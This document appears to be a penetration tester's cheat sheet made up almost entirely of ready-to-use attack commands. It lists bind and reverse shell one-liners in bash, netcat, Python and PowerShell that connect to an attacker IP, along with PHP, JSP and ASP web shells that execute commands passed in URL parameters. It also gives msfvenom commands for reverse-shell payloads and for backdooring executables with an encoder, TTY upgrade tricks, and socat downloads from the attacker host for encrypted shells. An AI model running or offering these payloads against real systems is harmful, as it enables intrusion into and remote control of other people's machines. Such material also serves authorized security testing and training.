Shells Forward/Bind # === TARGET: LISTENER ===
rm -f /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvnp <LISTEN_PORT> > /tmp/f
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",<LISTEN_PORT>));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
powershell -NoP --% -NonI -W Hidden -Exec Bypass -Command $listener = [ System.Net.Sockets.TcpListener] <LISTEN_PORT>; $listener.start() ;$client = $listener.AcceptTcpClient() ;$stream = $client.GetStream() ;[ byte[]] $bytes = 0..65535|%{ 0} ;while (( $i = $stream.Read( $bytes, 0, $bytes.Length)) -ne 0){ ;$data = ( New-Object -TypeName System.Text.ASCIIEncoding) .GetString( $bytes,0, $i) ;$sendback = ( iex $data 2>&1 | Out-String ) ;$sendback2 = $sendback + "PS " + ( pwd) .Path + " " ;$sendbyte = ([ text.encoding] ::ASCII) .GetBytes( $sendback2) ;$stream.Write( $sendbyte,0,$sendbyte.Length) ;$stream.Flush()} ;$client.Close() ;
# === ATTACKER: CONNECT ===
nc -nv <TARGET> <LISTEN_PORT> Callback/Reverse # === ATTACKER: LISTENER ===
nc -lvnp <CALLBACK_PORT>
# === TARGET: CALLBACKS ===
rm -f /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -nv <ATTACKER_IP> <CALLBACK_PORT> > /tmp/f
bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/<CALLBACK_PORT> 0>&1'
# Must be ran from cmd.exe
powershell -nop --% -c " $client = New-Object System.Net.Sockets.TCPClient('<ATTACKER_IP>',<CALLBACK_PORT>); $s = $client.GetStream();[byte[]] $b = 0..65535|%{0};while(( $i = $s.Read( $b, 0, $b.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString( $b,0, $i); $sb = (iex $data 2>&1 | Out-String ); $sb2 = $sb + 'PS ' + (pwd).Path + '> '; $sbt = ([text.encoding]::ASCII).GetBytes( $sb2); $s.Write( $sbt,0, $sbt.Length); $s.Flush()}; $client.Close()" Web Web Server Default Webroot Apache/var/www/html/ Nginx/usr/local/nginx/html/ IISc:\inetpub\wwwroot\ XAMPPC:\xampp\htdocs\
### ASPX (Microsoft IIS)
# Command Shell
# 1) Add ATTACKER_IP on line 59
# 2) Remove unnecessary comments at beginning and end
/usr/share/laudanum/aspx/shell.aspx
# PowerShell Command Terminal
# 1) Edit creds on line 14
/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShell
wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.php Code NOTE: the first examples are “Hello World” but perform a match calculation that should result in 49 being shown on the page in the case there’s a WAF blocking “Hello World” strings
<? php echo 7 * 7 ; ?>
<?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>
curl -skLo- http://<TARGET>/dbg.php?dbg=<COMMAND>
<%= 7*7 %>
<% Runtime.getRuntime().exec(request.getParameter("dbg")); %>
curl -skLo- http://<TARGET>/dbg.jsp?dbg=<COMMAND><%= 7*7 %>
<% eval request("dbg") %>
curl -skLo- http://<TARGET>/dbg.asp?dbg=<COMMAND>Msfvenom stageless: names like shell_reverse_tcpstaged: names like shell_reverse_tcp### Listener for reverse callbacks
sudo msfconsole -qx 'use exploit/multi/handler ; set payload <PAYLOAD> ; set lhost <TARGET> ; set lport <TARGET_PORT> ; run'
### Msfvenom commands
msfvenom -l payloads
msfvenom -l formats
# PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST= <TARGET> LPORT= <TARGET_PORT> -f raw -e php/base64 # NOTE: need to add <?php ?> tags to file
msfvenom -p php/reverse_php LHOST= <TARGET> LPORT= <TARGET_PORT> -f raw > reverse_shell.php # NOTE: need to add <?php ?> tags to file
msfvenom -p php/meterpreter_reverse_tcp LHOST= <TARGET> LPORT= <TARGET_PORT> -f raw > rev_shell.php
# LINUX
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= <TARGET> LPORT= <TARGET_PORT> -f elf > rev_shell.elf
msfvenom -p cmd/unix/reverse_python LHOST= <TARGET> LPORT= <TARGET_PORT> -f raw > rev_shell.py
# WINDOWS 32-bit
msfvenom -p windows/meterpreter/reverse_tcp LHOST= <TARGET> LPORT= <TARGET_PORT> -f exe > rev_shell.exe
msfvenom -p windows/shell_reverse_tcp LHOST= <TARGET> LPORT= <TARGET_PORT> -f exe > nameoffile.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST= <TARGET> LPORT= <TARGET_PORT> -f asp > rev_shell.asp
# Java Web Shells
msfvenom -p java/jsp_shell_reverse_tcp LHOST= <TARGET> LPORT= <TARGET_PORT> -f raw > nameoffile.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST= <TARGET> LPORT= <TARGET_PORT> -f war > nameoffile.war
# BACKDOOR-ed EXECUTABLES
msfvenom windows/x86/meterpreter_reverse_tcp LHOST= <TARGET> LPORT= <TARGET_PORT> -k -x <INPUT_FILE> -e x86/shikata_ga_nai -a x86 --platform windows -o <OUTPUT_FILE> -i 5 Shell Upgrade To be able to run commands like su, sudo, ssh, use command completion, and open a text editor if needed with other features as well…
# Best Upgrade
for i in python3 python python2 ; do command -v " $i" >/dev/null && " $i" -c 'import pty; pty.spawn("/bin/bash")' && exit ; done
export TERM= xterm-256color
CTRL+Z
stty raw -echo ; fg Other Upgrades
script /dev/null -c /bin/bash
/bin/bash -i
find . -exec /bin/bash -p \; -quit
awk 'BEGIN {system("/bin/bash")}'
perl -e 'exec "/bin/bash";'
ruby -e 'exec "/bin/bash"'
vim -c ':!/bin/bash' -c ':qa!'
lua -e 'os.execute("/bin/bash")' Resize Terminal Size
echo "MAKE SURE THIS IS RAN ON ATTACKER BOX FIRST, THEN...\n\nON TARGET SHELL:\nstty rows $( tput lines) columns $( tput cols) " Socat Method Setup # Download and serve static socat (if needed)
wget -v https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
ip a ; sudo python3 -m http.server 80
wget http://<ATTACKER_IP>:80/socat -o /tmp/socat
chmod +x /tmp/socat Encrypted:
# Generate key and cert (fill info randomly or leave blank)
openssl req -x509 -newkey rsa:2048 -keyout shell.key -out shell.crt -days 365 -nodes -batch -subj "/" && cat shell.key shell.crt > cert.pem Linux # ATTACKER (Listen):
socat file:` tty` ,raw,echo= 0 tcp-listen:<PORT>
# LINUX TARGET (Connect Back):
nohup /tmp/socat tcp-connect:<ATTACKER_IP>:<PORT> exec:'bash -li' ,pty,stderr,setsid,sigint,sane 2>&1 >/dev/null & Encrypted:
# ATTACKER (Listen):
socat FILE:` tty` ,raw,echo= 0 OPENSSL-LISTEN:<PORT>,cert= cert.pem,verify= 0
# LINUX TARGET (Connect Back):
# (Upload socat first, same as standard shell)
/tmp/socat EXEC:'bash -li' ,pty,stderr,setsid,sigint,sane OPENSSL:<ATTACKER_IP>:<PORT>,verify= 0 Windows # ATTACKER (Listen):
socat tcp-listen: <PORT> -
# WINDOWS TARGET (Connect Back):
Invoke-WebRequest -uri http: //<ATTACKER_IP>/socat.exe -outfile C:\\Windows\temp\socat.exe
C:\\Windows\temp\socat.exe TCP: <ATTACKER_IP>: <PORT> EXEC: powershell.exe,pipes Encrypted:
# ATTACKER (Listen):
socat OPENSSL-LISTEN: <PORT>,cert=cert.pem,verify=0 -
# WINDOWS TARGET (Connect Back):
# (Upload socat.exe first, same as standard shell)
C:\Windows\temp\socat.exe EXEC: powershell.exe,pipes OPENSSL: <ATTACKER_IP>: <PORT>,verify=0